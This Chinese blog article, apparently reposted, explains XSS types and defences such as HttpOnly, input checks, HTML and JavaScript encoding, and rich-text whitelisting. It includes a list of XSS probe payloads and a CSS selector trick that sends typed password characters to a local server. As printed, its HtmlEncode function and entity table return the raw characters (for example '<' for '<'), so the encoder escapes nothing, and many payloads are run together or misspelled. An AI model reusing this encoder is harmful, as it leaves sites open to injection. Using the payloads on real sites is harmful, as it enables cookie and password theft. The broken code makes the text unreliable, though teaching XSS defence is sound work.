常用的XSS漏洞防御手段
简介
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
XSS的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现。
目前来说,流行的浏览器内都内置了一些 XSS过滤器
,但是这只能防御一部分常见的XSS,而对于网站来说,也应该一直寻求优秀的解决方案,保护网站及用户的安全,我将阐述一下网站在设计上该如何避免 XSS的攻击。
XSS产生原因、漏洞原理
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
XSS会造成那些危害?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易的导致XSS。
1、网络钓鱼,包括获取各类用户账号
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
4、强制弹出广告页面、刷流量等
5、网页挂马;
6、进行恶意操作,如任意篡改页面信息、删除文章等
7、进行大量的客户端攻击,如ddos等
8、获取客户端信息,如用户的浏览历史、真实p、开放端口等
9、控制受害者机器向其他网站发起攻击;
10、结合其他漏洞,如csrf,实施进步危害;
11、提升用户权限,包括进一步渗透网站
12、传播跨站脚本蠕虫等
XSS常见出现的地方
1、数据交互的地方
get、post、cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
2、数据输出的地方
用户资料
关键词、标签、说明
文件上传
XSS的分类
反射性XSS
又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端
常见注入点
网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。
漏洞产生原因一般是网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的欻据中存在可被浏览器执行的代码数据
攻击方式
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS的代码发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。
反射型XSS攻击的流程如下
1.攻击者寻找具有漏洞的网站
2.攻击者给用户发了一个带有恶意字符串的链接
3.用户点击了该链接
4.服务器返回HTML文档,此时该文档已经包含了那个恶意字符串
5.客户端执行了植入的恶意脚本,XSS攻击就发生
存储型XSS
存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)
常见注入点
论坛、博客、留言板、网站的留言、评论、日志等交互处。
造成漏洞原因一般是由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
攻击方式
攻击者在发帖或留言的过程中,将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来,恶意脚本也将永久的存放到服务器的后端存储器中。当其他用户浏览这个被注入了
恶意脚本的帖子时,恶意脚本就会在用户的浏览器中得到执行。
存储型ⅩSS攻击的流程如下
1.用户提交了一条包含XSS代码的留言到数据库
2.当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
3.浏览器发现有XSS代码,就当做正常的HTML和JS解析执行
DOM型XSS
DoM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document"对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。
其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题
注入点
通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所
以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
攻击方式
用户请求一个经过专门设计的URL,它由攻击者提供,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存
在XSS漏洞。
攻击流程如下
1.攻击者寻找具有漏洞的网站
2.攻击者给用户发了一个带有恶意字符串的链接
3.用户点击了该链接
4.服务器返回HTML文档,但是该文档此时不包含那个恶意字符串
5.客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
6.客服端执行了植入的恶意脚本,XSS攻击就发生了
反射型XSS与DOM型区别:
1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;
2、DOM型ⅩSS攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;恶意脚本是在其执行了非恶意脚本后,被注入到文档里的通过JS脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。
其他类型的XSS
MXSS
不论是服务器端或客户端的ⅩSS过滤器,都认定过滤后的HTM源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入
然而,如果用户所提供的富文本内容通过 Javascript 代码进属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。这种由于HTML内容进后发生意外变化( mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XS的攻击流程,被称为突变XSS(mXSs, Mutation based Cross-Site-Scripting
通常通过innerHTML函数进行html代码过滤
什么是HTML过滤器?为什么我们需要HTML过滤器?
许多web应用程序,以编辑器的形式,允许用户使用一些特殊的文本格式(例如,粗体,斜体等等)。这个功能在博客,邮件当中使用甚广。这里出现的主要安全问题就是有些不法用户可能输入一些恶意HTML/ avaScript从而引入XSS。因此,这类允许用户进行个性化输入的应用程序的创建者就面临一个很头疼的问题如何确保用户的输入的HTML是安全的,从而不会引起不必要的XSS。这就是为什么需要HTML过滤器的原因。HTML过滤器的主要目的是揪出不可信的输入,对其进行过滤,并生成安全的HTML过滤所有危险标签的HTML
举个例子
解析后,输入的html代码变成下面格式
通过html过滤器,过滤不在白名单的代码,得到如下无害html代码,也不会伤害到用户的正常功能
虽然HTML过滤器可以帮助我们处理大部分数据,能够处理99%的威胁,但是最后一公里路还是要有浏览器来渲染加载。我们看一个简单的例子:
上面代码一开始并没有闭合的标签,通过渲染后自动加入闭合标签。
在赋值给 innerHTML之后,我们却得到一个不同的值。由于 HTML/XML格式的灵活性,用户可以输入非规范的HTML,修复成规范的HTML就是浏览器的责任了。
道理我都懂,但是有没有更直观的例子?
首先分配一个<sg>
标签,<p>
是它的子标签。但是从DOM树中我们可以发现,<p>
元素实际上“跳出”了<svg>
。发生这种情况的主要原因是<p>
不是<sg>
中的有效标签,因此浏览器会在结束<SVg>
后打开<p>
UXSS
UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal XSS。UXSS保留了基本XSS的特点,利用漏洞,执行恶意代码,但是有一个重要的区别:不同于常见的XSS,UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。
俗的说,就是原来我们进行XSS攻击等都是针对Web应用本身,是因为Web应用本身存在漏洞才能被我们利用攻击;而UXSS不同的是通过浏览器或者浏览器扩展的漏洞来”制作ⅩSS漏洞”,然后剩下的我们就可以像普通XSS那样利用攻击了。
不同于常见的XSS,UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。UXSS 可以理解为Bypass 同源策略。
常见的XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是页面存在漏洞, 而它们的影响往往也围绕着漏洞页面本身的用户会话。换句话说,因为浏览器的安全功能的影响,XSS攻击只能读取受感染的会话,而无法读取其他的会话信息,也就是同源策略的影响。
1.IE8跨站脚本过滤器缺陷
David Lindsay和 Eduardo vela Nava已经在2010年的 BlackHat Europe展示了这个漏洞的UXSS利用。IE8中内置了XSS过滤器,用于检测反射XSS并采取纠正措施:在页面渲染之前更改响应内容。在这种特殊情况下,等号将会被过滤器去除,但是通过精心构造的XSS字符串在特定的地方,这个逻辑会导致浏览器创建XSS条件。微软的响应是改变了XSS过滤器去除的字符。
2.IE8跨站脚本过滤器缺陷
移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到 Chrome通过 Intent对象加载的任意的Web页面
3.安卓浏览器SOP绕过漏洞
限制于特定的安卓系统版本,因为 kitkat( android 4.4)之前 webview组件使用webview内核而遗留的漏洞。该漏洞可以通过构造一个页面,页面嵌入 iframe ,然后通过\u0000进行浏览器的sop绕过进行XSS
那么UXSS与通常的XSS有什么影响的区别?
因为一些安全策略,即使一个漏洞页面存在XSS,我们可以访问它的用户会话信息等但是无法访问其他域的相关的会话信息,而因为UXSS是利用浏览器本身或者浏览器扩展程序的漏洞,所以对于攻击发起时浏览器打开或缓存的所有页面(即使不同域的情况)的会话信息都可以进行访问。简单的说,∪XSS不需要—个漏洞页面来触发攻击,它可以渗透入安全没有问题的页面,从而创造一个漏洞,而该页面原先是安全无漏洞的。不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一
其他方案
HttpOnly
HttpOnly
最早是由微软提出,并在 IE 6
中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie
带有 HttpOnly
属性,那么这一条 Cookie
将被禁止读取,也就是说,JavaScript
读取不到此条 Cookie
,不过在与服务端交互的时候,Http Request
包中仍然会带上这个 Cookie
信息,即我们的正常交互不受影响。
Cookie
是通过 http response header
种到浏览器的,我们来看看设置 Cookie
的语法:
第一个是 name=value
的键值对,然后是一些属性,比如失效时间,作用的 domain
和 path
,最后还有两个标志位,可以设置为 secure
和 HttpOnly
。
栗子:
// 利用 express 这个轮子设置cookie
res.cookie('myCookie', 'test', {
httpOnly: true
})
res.cookie('myCookie2', 'test', {
httpOnly: false
})
然后回到浏览器查看:
这个时候我们试着在控制台输出:
我们发现,只有没有设置 HttpOnly
的 myCookie2
输出了出来,这样一来, javascript
就读取不到这个 Cookie
信息了。
HttpOnly
的设置过程十分简单,而且效果明显,不过需要注意的是,所有需要设置 Cookie
的地方,都要给关键的 Cookie
都加上 HttpOnly
,若有遗漏则会功亏一篑。
但是, HttpOnly
不是万能的,添加了 HttpOnly
不等于解决了 XSS
问题。
严格的说,HttpOnly
并非为了对抗 XSS
,HttpOnly
解决的是 XSS
后的 Cookie
劫持问题,但是 XSS
攻击带来的不仅仅是 Cookie
劫持问题,还有窃取用户信息,模拟身份登录,操作用户账户等一系列行为。
使用 HttpOnly
有助于缓解 XSS
攻击,但是仍然需要其他能够解决 XSS
漏洞的方案。
输入检查
记住一点:不要相信任何输入的内容。
无论是不是做了安全校验,都必须进行过滤操作,而且需要后台配合过滤,如果后端的检查校验还做得不好,那就可能被攻破。
输入检查在更多的时候被用于格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且全部为数字,否则即为非法。
这些格式检查类似于白名单效果,限制输入允许的字符,让一下特殊字符的攻击失效。
目前网上有很多开源的 XSS Filter
,这些 XSS Filter
目前来说还是有些效果的,能只能检验输入内容,高级一点的还会匹配 XSS
特征,例如内容是否包含了 <script>
,javascript
等敏感字符,但是这些 XSS Filter
只是获取到了用户的输入内容,并不了解其上下文含义,很多时候会误过滤。
例如:
用户输入昵称:<|无敌是多么鸡毛|>
,对于 XSS Filter
来说,<>
就是特殊字符,需要过滤然后过滤成为 |无敌是多么鸡毛|
,直接改变了用户的昵称。
所以,我们不能完全信赖开源的 XSS Filter
,很多场景需要我们自己配置规则,进行过滤。
输出检查
不要以为在输入的时候进行过滤就万事大吉了,恶意攻击者们可能会层层绕过防御机制进行 XSS
攻击,一般来说,所有需要输出到 HTML
页面的变量,全部需要使用编码或者转义来防御。
HTMLEncode
针对 HTML
代码的编码方式是 HTMLEncode
,它的作用是将字符串转换成 HTMLEntities
。
目前来说,为了对抗 XSS
,以下转义内容是必不可少的:
特殊字符 | 实体编码 |
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
PS. ;
是必须的,而且要和前面的字符连接起来,我这边分开是因为,markdown
就是 HTML
语言,我连上就直接转义成前面的特殊字符了,/(ㄒ o ㄒ)/~~
来看看效果:
可以看到,这些编码在 HTML
上已经成功转成了对应的符号。
当然,上面的只是最基本而且是最必要的,HTMLEncode
还有很多很多:
const HtmlEncode = (str) => {
// 设置 16 进制编码,方便拼接
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
// 赋值需要转换的HTML
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
// 获取每个位置上的字符
let p = preescape.charAt(i);
// 重新编码组装
escaped = escaped + escapeCharx(p);
}
return escaped;
// HTMLEncode 主要函数
// original 为每次循环出来的字符
function escapeCharx(original) {
// 默认查到这个字符编码
let found = true;
// charCodeAt 获取 16 进制字符编码
const thechar = original.charCodeAt(0);
switch (thechar) {
case 10: return "<br/>"; break; // 新的一行
case 32: return " "; break; // space
case 34: return """; break; // "
case 38: return "&"; break; // &
case 39: return "'"; break; // '
case 47: return "/"; break; // /
case 60: return "<"; break; // <
case 62: return ">"; break; // >
case 198: return "Æ"; break; // Æ
case 193: return "Á"; break; // Á
case 194: return "Â"; break; // Â
case 192: return "À"; break; // À
case 197: return "Å"; break; // Å
case 195: return "Ã"; break; // Ã
case 196: return "Ä"; break; // Ä
case 199: return "Ç"; break; // Ç
case 208: return "Ð"; break; // Ð
case 201: return "É"; break; // É
case 202: return "Ê"; break;
case 200: return "È"; break;
case 203: return "Ë"; break;
case 205: return "Í"; break;
case 206: return "Î"; break;
case 204: return "Ì"; break;
case 207: return "Ï"; break;
case 209: return "Ñ"; break;
case 211: return "Ó"; break;
case 212: return "Ô"; break;
case 210: return "Ò"; break;
case 216: return "Ø"; break;
case 213: return "Õ"; break;
case 214: return "Ö"; break;
case 222: return "Þ"; break;
case 218: return "Ú"; break;
case 219: return "Û"; break;
case 217: return "Ù"; break;
case 220: return "Ü"; break;
case 221: return "Ý"; break;
case 225: return "á"; break;
case 226: return "â"; break;
case 230: return "æ"; break;
case 224: return "à"; break;
case 229: return "å"; break;
case 227: return "ã"; break;
case 228: return "ä"; break;
case 231: return "ç"; break;
case 233: return "é"; break;
case 234: return "ê"; break;
case 232: return "è"; break;
case 240: return "ð"; break;
case 235: return "ë"; break;
case 237: return "í"; break;
case 238: return "î"; break;
case 236: return "ì"; break;
case 239: return "ï"; break;
case 241: return "ñ"; break;
case 243: return "ó"; break;
case 244: return "ô"; break;
case 242: return "ò"; break;
case 248: return "ø"; break;
case 245: return "õ"; break;
case 246: return "ö"; break;
case 223: return "ß"; break;
case 254: return "þ"; break;
case 250: return "ú"; break;
case 251: return "û"; break;
case 249: return "ù"; break;
case 252: return "ü"; break;
case 253: return "ý"; break;
case 255: return "ÿ"; break;
case 162: return "¢"; break;
case '\r': break;
default: found = false; break;
}
if (!found) {
// 如果和上面内容不匹配且字符编码大于127的话,用unicode(非常严格模式)
if (thechar > 127) {
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";";
} else {
return original;
}
}
}
}
这应该是比较全的 HTMLEncode
编码转换了,测试一下:
<div id="id"></div>
// 当我们输入:
document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>'
页面不可避免的发生了 XSS
注入:
// 当我们利用 HTMLEncode 之后
document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>')
console.log(HtmlEncode('<img onerror=alert(1) src=1/>'))
发现页面将输入的内容完全呈现了:
JavaScriptEncode
JavaScriptEncode
与 HTMLEncode
的编码方式不同,它需要用 \
对特殊字符进行转义。
在对抗 XSS
时,还要求输出的变量必须在引号内部,以免造成安全问题,可是很多开发者并没有这种习惯,这样只能使用更为严格的 JavaScriptEncode
来保证数据安全:除了数字,字符之外的所有字符,小于 127 的字符编码都使用十六进制 \xHH
的方式进行编码,大于用 unicode(非常严格模式)。
同样是代码的方式展现出来:
//使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
// 大部分代码和上面一样,我就不写注释了
const JavaScriptEncode = function (str) {
const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'];
const preescape = str;
let escaped = "";
for (let i = 0; i < preescape.length; i++) {
escaped = escaped + encodeCharx(preescape.charAt(i));
}
return escaped;
// 小于127转换成十六进制
function changeTo16Hex(charCode) {
return "\\x" + charCode.charCodeAt(0).toString(16);
}
function encodeCharx(original) {
let found = true;
const thecharchar = original.charAt(0);
const thechar = original.charCodeAt(0);
switch (thecharchar) {
case '\n': return "\\n"; break; //newline
case '\r': return "\\r"; break; //Carriage return
case '\'': return "\\'"; break;
case '"': return "\\\""; break;
case '\&': return "\\&"; break;
case '\\': return "\\\\"; break;
case '\t': return "\\t"; break;
case '\b': return "\\b"; break;
case '\f': return "\\f"; break;
case '/': return "\\x2F"; break;
case '<': return "\\x3C"; break;
case '>': return "\\x3E"; break;
default: found = false; break;
}
if (!found) {
if (thechar > 47 && thechar < 58) { //数字
return original;
}
if (thechar > 64 && thechar < 91) { //大写字母
return original;
}
if (thechar > 96 && thechar < 123) { //小写字母
return original;
}
if (thechar > 127) { //大于127用unicode
let c = thechar;
let a4 = c % 16;
c = Math.floor(c / 16);
let a3 = c % 16;
c = Math.floor(c / 16);
let a2 = c % 16;
c = Math.floor(c / 16);
let a1 = c % 16;
return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
} else {
return changeTo16Hex(original);
}
}
}
}
除了 HTMLEncode
和 JavaScript
外,还有许多用于各种情况的编码函数,比如 XMLEncode
、JSONEncode
等。
编码函数需要在适当的情况下用适当的函数,需要注意的是,编码之后数据长度发生改变,如果文件对数据长度有所限制的话,可能会影响到某些功能。我们在使用编码函数时,一定要注意这个细节,以免产生不必要的 bug
。
正确的防御 XSS
上面说了两种转义只是为了设计个人能更好的 XSS
防御方案,但是我们需要认清 XSS
产生的本质原因。
XSS
的本质还是一种 HTML 注入
,用户的数据被当成了 HTML
代码一部分来执行,从而混淆了原本的语意,产生了新的语意。
如果网站使用了 MVC(MVVM)
结构,那么 XSS
就会发生在 View
层,也就是变量拼接到页面时产生的,所以在用户提交数据的时候进行输入检查,并不是真正在被攻击的地方做防御,而是预防攻击,下面,我将总结一些 XSS
发生的场景,再一一解决。
在 HTML
标签中输出
在 HTML
标签中直接输出变量,没有做任何处理,会导致 XSS
。
<a href=# ><img src=1 onerror=alert(1)></a>
这种方式的解决方案是,所有需要输出到页面的元素全部通过 HTMLEncode
。
在 HTML
属性中输出
在和 HTML
标签中输出攻击方式类似,只不过输出的内容会自动闭合标签。
<a href="我是变量" ></a>
<!-- 我是变量: "><img src=1 onerror=alert(1)><" -->
<!-- 插入之后变为 -->
<a href=""><img src=1 onerror=alert(1)><""></a>
这种方式的防御方法仍然是 HTMLEncode
。
在 <script>
标签中输出
假设我们的变量都在引号内部:
let a = "我是变量"
// 我是变量 = ";alert(1);//
a = "";alert(1);//"
攻击者只需要闭合标签就能实行攻击,目前的防御方法为 JavaScriptEncode
。
在 CSS
中输出
在 CSS
中或者 style
标签或者 style attribute
中形成的攻击花样非常多,总体上类似于下面几个例子:
<style>@import url('http:xxxxx')</style>
<style>@import 'http:xxxxx'</style>
<style>li {list-style-image: url('xxxxxx')}</style>
<style>body {binding:url('xxxxxxxxxx')}</style>
<div style='background-image: url(xxxx)'></div>
<div style='width: expression(xxxxx)'></div>
要解决 CSS
的攻击问题,一方面要严格控制用户将变量输入style
标签内,另一方面不要引用未知的 CSS
文件,如果一定有用户改变 CSS
变量这种需求的话,可以使用 OWASP ESAPI
中的 encodeForCSS()
函数。
一个很典型的第三方 CSS
库攻击的案例:
input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") }
input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") }
input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") }
input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") }
input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") }
input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") }
input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") }
input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") }
input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") }
input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") }
...
剩下的就不写了,就是将所有键盘能输入的字符都写进去。
input[type="password"]
是 css 选择器,作用是选择密码输入框,[value$="0"]
表示匹配输入的值是以 0 结尾的。
所以如果你在密码框中输入 0 ,就去请求 http://localhost:3000/0
接口,但是浏览器默认情况下是不会将用户输入的值存储在 value
属性中,但是有的框架会同步这些值,例如React
。
我们模拟同步 value
值:
<body>
<input type="password" value="" id="pwd">
</body>
<script>
const pwd = document.querySelector('#pwd');
pwd.oninput = (e) => {
pwd.attributes.value.value = e.target.value
}
</script>
你的密码都被发送到远程了,所以输 CSS
也是 XSS
攻击的手段之一,只有想不到,没有做不到~
在 URL
中输出
在地址张输出也比较复杂。一般来说 URL
的 path
或者 search
中进行攻击直接使用 URLEncode
即可。URLEncode
会将字符串转换为 %HH
的形式,类似空格就是 %20
。
可能的攻击方法就是:
<!-- 原始 URL -->
<a href="http://localhost:3000/?test=我是变量"></a>
<!-- 攻击 URL -->
<a href="http://localhost:3000/?test=" onclick=alert(1)""></a>
<!-- URLEncode -->
<a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a>
但是是否用了 URLEncode
就万事大吉了呢?
不不不
如果整个 URL
被用户控制,那么前面的 http://
, localhost:3000
等部分被转义不就乱套了,这些部分是不能被转义的。
一个 URL
的组成如下:
[Protocal][Host][Path][Search][Hash]
栗子:
http://localhost:3000/a/b/c?search=123#666aaa
[Protocal]
对应 http://
[Host]
对应 localhost:3000
[Path]
对应 /a/b/c
[Search]
对应 ?search=123
[Hash]
对应 #666aaa
一般来说,如果变量是整个 URL
,则应该先检查变量是否以 http
开头,在此之后再对里面的变量进行 URLEncode
。
富文本处理
在一些网站,网站允许用户富含 HTML
标签的代码,比如文本里面要有图片、视频之类,这些文本展现出来全都是依靠 HTML
代码来实现。
那么,我们需要如何区分安全的 富文本
和 XSS
攻击呢?
我正好在华为做过相关的富文本过滤操作,基本的思想就是:
首先进行输入检查,保证用户输入的是完整的
HTML
代码,而不是有拼接的代码通过
htmlParser
解析出HTML
代码的标签、属性、事件富文本
的事件
肯定要被禁止,因为富文本
并不需要事件
这种东西,另外一些危险的标签也需要禁止,例如:<iframe>
,<script>
,<base>
,<form>
等利用白名单机制,只允许安全的标签嵌入,例如:
<a>
,<img>
,div
等,白名单不仅仅适用于标签,也适用于属性
过滤用户
CSS
,检查是否有危险代码
其他常见标签汇总
<img>
标签利用方式1
<imgsrc=javascript:alert("xss")>
<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
<imgscr="URL"style='Xss:expression(alert(/xss));'
imgSTYLE=“background-image:url(javascript:alert(‘XSS’))”
XSS利用方式2
<imgsrc="x"onerror=alert(1)>
<imgsrc="1"onerror=eval("alert('xss')")>
XSS利用方式3
<imgsrc=1onmouseover=alert('xss')>
<a>
标签
标准格式
<ahref="https://www.baidu.com">baidu</a>
XSS利用方式1
<ahref="javascript:alert('xss')">aa</a>
<ahref=javascript:eval(alert('xss'))>aa</a>
<ahref="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
利用方式3
<ahref=""onclick=eval(alert('xss'))>aa</a>
利用方式4
<ahref=kycg.asp?ttt=1000onmouseover=prompt('xss')y=2016>aa</a>
input标签
标准格式
<inputname="name"value="">
利用方式1
<inputvalue=""onclick=alert('xss')type="text">
利用方式2
<inputname="name"value=""onmouseover=prompt('xss')bad="">
利用方式4
<inputname="name"value=""><script>alert('xss')</script>
<form>
标签
XSS利用方式1
<formaction=javascript:alert('xss')method="get">
<formaction=javascript:alert('xss')>
XSS利用方式2
<formmethod=postaction=aa.asp?onmouseover=prompt('xss')>
<formmethod=postaction=aa.asp?onmouseover=alert('xss')>
<formaction=1onmouseover=alert('xss)>
XSS利用方式3
<formmethod=postaction="data:text/html;base64,<script>alert('xss')</script>">
<formmethod=postaction="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
标签
XSS利用方式1
<iframesrc=javascript:alert('xss');height=5width=1000/><iframe>
XSS利用方式2
<iframesrc="data:text/html,<script>alert('xss')</script>"></iframe>
<iframesrc="data:text/html;base64,<script>alert('xss')</script>">
<iframesrc="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframesrc="aaa"onmouseover=alert('xss')/><iframe>
XSS利用方式3
<iframesrc="javascript:prompt(xss)"></iframe>
svg<>
标签
<svgonload=alert(1)>
小结
理论上来说,XSS
漏洞虽然复杂,但是却是可以彻底解决掉的,在设计 XSS
解决方案时,要结合目前的业务需求,从业务风险角度定义每个 XSS
漏洞,针对不同的场景使用不同的方法,同时,很多开源的项目可以借鉴参考,完善自己的 XSS
解决方案。
好了,今天的小知识你学会了吗?
链接:https://blog.51cto.com/u_14249042/7984802
(版权归原作者所有,侵删)
微信扫码关注该文公众号作者